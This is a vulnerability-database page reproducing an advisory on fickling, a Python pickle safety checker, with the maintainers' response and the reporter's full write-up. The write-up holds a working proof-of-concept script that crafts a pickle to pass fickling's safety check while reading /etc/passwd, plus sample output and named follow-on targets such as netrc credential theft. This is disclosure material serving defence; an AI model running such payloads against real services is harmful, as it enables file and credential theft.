Skip to content
Noroxi
OSV ecosystem advisory

GHSA-r48f-3986-4f9c: fickling modules linecache, difflib and gc are missing from the unsafe modules blocklist

Medium—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 0/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: fickling (PyPI) 0.1.10.

Low priority for now. Upgrade to fickling (PyPI) 0.1.10 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

# Our analysis As stated in the [project's security policy](https://github.com/trailofbits/fickling/security/policy), we also don't consider `UnusedVariables` bypasses to be security issues. We added several unsafe modules mentioned by the reporter in advisory comments to the blocklist (https://github.com/trailofbits/fickling/commit/7f39d97258217ee2c21a1f5031d4a6d7343eb30d). # Original report Title: UnusedVariables analysis bypass via BUILD opcode Arbitrary File Read through fickling.load() ### Summary Two independent bugs in fickling's AST-based static analysis combine to allow a malicious pickle file to execute arbitrary stdlib function calls - including reading sensitive files - while check_safety() returns Severity.LIKELY_SAFE and fickling.load() completes without raising UnsafeFileError. A server using fickling.load() as a security gate before deserializing untrusted pickle data (its documented use case) is fully bypassed. The attacker receives the contents of any file readable by the server process as the return value of fickling.load(). ### Details Interpreter.unused_assignments() does not scan the result assignment's RHS File: fickling/fickle.py, Interpreter.unused_assignments(), ~line 1242 ```python for statement in self.module_body: if isinstance(statement, ast.Assign): if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): break ... statement = statement.value if statement is not None: for node in ast.walk(statement): if isinstance(node, ast.Name): used.add(node.id) ``` When the loop reaches result = _varN, it breaks immediately. The right-hand side of the result assignment is never walked for variable references. Any variable whose only reference is inside the result expression is therefore never added to the used set and is incorrectly flagged as unused - unless it also appears in an earlier non-assignment statement. The BUILD opcode generates exactly such a non-assignment statement: ```python # Build.run() generates: _var4 = _var3 # Assign - _var3 added to used _var4.__setstate__(_var2) # Expr - _var2 and _var4 added to used ``` This makes _var2 (the result of the dangerous call) appear in the used set via the __setstate__ expression, so UnusedVariables never flags it. File: fickling/fickle.py, TupleThree.run(), and siblings ```python def run(self, interpreter: Interpreter): top = interpreter.stack.pop() mid = interpreter.stack.pop() bot = interpreter.stack.pop() interpreter.stack.append(ast.Tuple((bot, mid, top), ast.Load())) # ^^^^^^^^^^^^^^^^ # Python tuple, not list ``` Python's ast module requires repeated fields (such as Tuple.elts) to be lists. When elts is a Python tuple, ast.iter_child_nodes() does not yield its elements, so ast.walk() never descends into them. Any variable reference stored inside such a tuple node is invisible to every analysis that uses ast.walk() - including UnusedVariables. Demo: ```python import ast name = ast.Name(id='_var1', ctx=ast.Load()) # Correct (list elts) - ast.walk finds it t = ast.Tuple(elts=[name], ctx=ast.Load()) print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)]) # ['_var1'] # Buggy (tuple elts) - ast.walk finds nothing t = ast.Tuple(elts=(name,), ctx=ast.Load()) print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)]) # [] ``` #### Combined attack - arbitrary file read The two bugs combine with the absence of `linecache` and `difflib` from `UNSAFE_IMPORTS`: ``` from linecache import getlines # not in UNSAFE_IMPORTS _var0 = getlines('/etc/passwd') # reads the file from builtins import enumerate _var1 = enumerate(_var0) # _var0 in RHS - added to used from builtins import dict _var2 = dict(_var1) # _var1 in RHS - added to used; produces {0:'line1',...} from difflib import Differ _var3 = Differ() # stdlib, not in UNSAFE_IMPORTS _var4 = _var3 _var4.__setstate__(_var2) # BUILD Expr - _var2 and _var4 added to used result = _var3 # loop breaks here; nothing in defined−used ``` check_safety() returns Severity.LIKELY_SAFE. fickling.load() calls pickle.loads(). At runtime, Differ().__dict__.update({0: 'root:x:0:0\n', ...}) succeeds and the file contents are returned to the caller. ### PoC `pip install fickling` ```python #!/usr/bin/env python3 import io import sys import fickling.fickle as op from fickling.fickle import Pickled from fickling.analysis import check_safety, Severity from fickling.loader import load from fickling.exception import UnsafeFileError TARGET = "/etc/passwd" pickled = Pickled([ op.Proto.create(4), op.ShortBinUnicode("linecache"), op.ShortBinUnicode("getlines"), op.StackGlobal(), op.ShortBinUnicode(TARGET), op.TupleOne(), op.Reduce(), op.Memoize(), # memo[0] = _var0 = getlines(TARGET) op.Global("builtins enumerate"), op.BinGet(0), op.TupleOne(), op.Reduce(), op.Memoize(), # memo[1] = _var1 = enumerate(_var0) op.Global("builtins dict"), op.BinGet(1), op.TupleOne(), op.Reduce(), op.Memoize(), # memo[2] = _var2 = dict(_var1) op.ShortBinUnicode("difflib"), op.ShortBinUnicode("Differ"), op.StackGlobal(), op.EmptyTuple(), op.Reduce(), op.Memoize(), # memo[3] = _var3 = Differ() op.BinGet(2), # push _var2 as BUILD state op.Build(), # _var4=_var3; _var4.__setstate__(_var2) op.BinGet(3), op.Stop(), ]) result = check_safety(pickled) assert result.severity == Severity.LIKELY_SAFE, f"Expected LIKELY_SAFE, got {result.severity}" print(f"[+] check_safety verdict : {result.severity.name} (bypass confirmed)") buf = io.BytesIO() pickled.dump(buf) obj = load(io.BytesIO(buf.getvalue())) lines = {k: v for k, v in obj.__dict__.items() if isinstance(k, int)} print(f"[+] fickling.load() returned : {type(obj).__name__}") print(f"[+] {TARGET} - {len(lines)} lines exfiltrated:\n") for i in sorted(lines): print(f"{lines[i]}", end="") ``` ### Result ``` [+] check_safety verdict : LIKELY_SAFE (bypass confirmed) [+] fickling.load() returned : Differ [+] /etc/passwd - 58 lines exfiltrated: root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin ``` ### Impact Vulnerability type: Static analysis bypass leading to arbitrary file read (and arbitrary stdlib code execution) through a security-gated deserialization API. Who is impacted: Any application or service that calls fickling.load() or fickling.loads() to validate untrusted pickle data before deserializing it. This is the primary documented use case of the fickling.loader module. The attacker supplies a pickle file; the server processes it through fickling.load(), receives LIKELY_SAFE, and unpickles the payload. File contents are returned directly in the deserialized object's attributes. Beyond file read, the same BUILD-opcode technique can be applied to any stdlib module absent from UNSAFE_IMPORTS (e.g., gc.get_objects() for full in-process memory inspection, inspect.stack() for call-frame local variable exfiltration, netrc.netrc() for credential theft).

Published
Mar 13, 2026
Updated
Mar 13, 2026
EPSS
—

Report tools

JSON

Action score

0

Monitor

Low priority for now.

CVSS
0 / 40 · —
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-r48f-3986-4f9c

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
PyPIfickling

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
PyPIficklingbefore 0.1.100.1.10

Same product

PyPI: all records

Other highest-scoring records for the same primary product.

  • GHSA-5cxw-w2xg-2m8hfickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`
    0Monitor
  • GHSA-5hwf-rc88-82xmFickling missing RCE-capable modules in UNSAFE_IMPORTS
    0Monitor
  • GHSA-wccx-j62j-r448Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked
    0Monitor

Published before and after this one in the same product

  • ← EarlierGHSA-83pf-v6qq-pwmrFeb 20, 2026 · Fickling has a detection bypass via stdlib network-protocol constructors
    0Monitor
  • ← EarlierGHSA-mxhj-88fx-4pcvFeb 24, 2026 · Fickling: OBJ opcode call invisibility bypasses all safety checks
    0Monitor
  • ← EarlierGHSA-mhc9-48gj-9gp3Feb 25, 2026 · Fickling has safety check bypass via REDUCE+BUILD opcode sequence
    0Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
PyPI:fickling0.1.10Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Variant candidates

Same product, same weakness class, within 18 months. If the patch missed the root cause, the sibling bug is here.

  • GHSA-5cxw-w2xg-2m8h0 days apartfickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`
    0Monitor
  • GHSA-5hwf-rc88-82xm9 days apartFickling missing RCE-capable modules in UNSAFE_IMPORTS
    0Monitor
  • GHSA-mhc9-48gj-9gp316 days apartFickling has safety check bypass via REDUCE+BUILD opcode sequence
    0Monitor
  • GHSA-83pf-v6qq-pwmr21 days apartFickling has a detection bypass via stdlib network-protocol constructors
    0Monitor

Not on record for this CVE: EPSS history · researcher credit · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
Integrity
Availability
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None

CVSS vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N

osv

References

All records